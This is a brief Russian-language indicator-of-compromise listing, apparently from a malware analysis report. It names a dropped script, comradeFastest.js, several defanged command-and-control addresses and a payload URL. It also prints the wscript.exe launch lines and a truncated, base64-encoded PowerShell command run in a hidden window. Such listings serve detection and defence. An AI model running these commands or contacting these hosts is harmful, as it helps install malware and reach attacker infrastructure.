Техническая информация
- %ALLUSERSPROFILE%\comradefastest.js
- '20#.#47.133.105':80
- '15#.#36.14.179':80
- '19#.#21.17.92':80
- '19#.#21.17.68':80
- http://19#.#21.17.68/9Cm9EW/OIa6RPLFE5k
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\comradeFastest.js" IchthyopsidaKennel diploidizeNitidulid SubpoenasPistonhead
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encodedcommand "JAByAGUAcwBwAG8AbgBkAGUAQQBuAG8AZQBzAGkAYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AdwBBADEAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeABBAEQA... (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\comradeFastest.js" IchthyopsidaKennel diploidizeNitidulid SubpoenasPistonhead (со скрытым окном)